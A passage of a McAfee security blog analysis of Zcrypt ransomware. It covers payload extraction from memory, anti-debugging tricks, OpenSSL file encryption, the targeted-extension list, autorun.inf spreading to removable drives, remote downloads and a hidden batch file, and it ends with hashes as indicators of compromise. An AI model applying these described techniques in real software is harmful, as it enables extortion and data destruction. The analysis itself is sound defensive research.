
BOOL WINAPI WriteProcessMemory(

_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten


The WriteProcessMemory function.

Once the final WriteProcessMemory step completes, we can extract the payload from the memory with the address of the buffer.


Extracting the payload from memory.

After extracting the payload, we can see the language used and the original compilation date, which is close to the infection date.


Summary of the payload.

A program database file shows us some information about the original name, MyEncrypter2:


The sample also uses some tricks to avoid analysis:


Zcrypt’s antidebugging tricks.

To encrypt the files on the system, the sample uses OpenSSL. We can find some references in the code:


References to OpenSSL.

This code is related to evp_enc.c, which we can find on github.



Further references to OpenSSL.

All files can be found here.

The list of targeted files:

.zip, .mp4, .avi, .mkv, .wmv, .swf, .pdf, .sql, .txt, .jpeg, .jpg, .png, .bmp, .psd, .doc, .docx, .rtf, .xls, .xlsx, .odt, .ppt, .pptx, .xml, .cpp, .asm, .php, .aspx, .html, .conf, .sln, .mdb, .3fr, .accdb, .arw, .bay, .cdr, .cer, .cr2, .crt, .crw, .dbf, .dcr, .der, .dng, .dwg, .dxf, .dxg, .eps, .erf, .indd, .kdc, .mdf, .mef, .mrw, .nef, .nrw, .odb, .odp, .ods, .orf, .p12, .p7b, .p7c, .pdd, .pef, .pem, .pfx, .pst, .ptx, .r3d, .raf, .raw, .rw2, .rwl, .srf, .srw, .wb2, .wpd, .jnt, .pub, .trc, .tar, .jsp, .mpeg, .msg, .log, .vob, .max, .3ds, .3dm, .cgi, .jar, .class, .java, .bak, .pdb, .apk, .sav, .cbr, .pkg, .tar.gz, .fla, .vcxproj, .XCODEPROJ, .eml, .emlx, .mbx, .vcf

Targeted extensions.

The sample also tries to create autorun.inf in the connected drive or network drive using the function GetDriveType. With this capability the malware is able to self-replicate and infect more people without human action. (For more, see

UINT WINAPI GetDriveType(  _In_opt_ LPCTSTR lpRootPathName);

The GetDriveType function.


GetDriveType in the sample.


The AutoRun file.


Creating an AutoRun file on a removable drive.

To download a file from the server, the sample uses the function URLDownloadToFile and CreateFile to copy the files onto the infected machine.



Downloading and creating the PNG file from the remote site.

Finally the sample creates a batch file to delete some files, such as the private key. The malware runs the file with the function WinExec with the option CMDShow set to “0” to avoid to displaying command window. (For more, see



Creating and running the batch file.


This short analysis of Zcrypt shows us that ransomware continues to gain capabilities to infect more systems. It is interesting to note that CryptoLocker actors also used the Nullsoft installer last year.

To protect yourself and your systems against this type of threat, read How to Protect Against Ransomware.

Indicators of compromise:

  • hxxp://
  • exe = 4e971d8a160579a5ef60b214aed0008a
  • cCS = c0232ecc947fa7332187dca7f3ce3eb1
  • 9 = e7a1c862460e65f0fde91d9020b3f3f5
  • dll = 843f7d05fa78119554496bbc042c6147
  • mem = 5fde78da66d1d44d4993a0945e025311

Related sample:

  • d1e75b274211a78d9c5d38c8ff2e1778
  • hxxp://

The post Zcrypt Expands Reach as ‘Virus Ransomware’ appeared first on McAfee Blogs.

]]> 5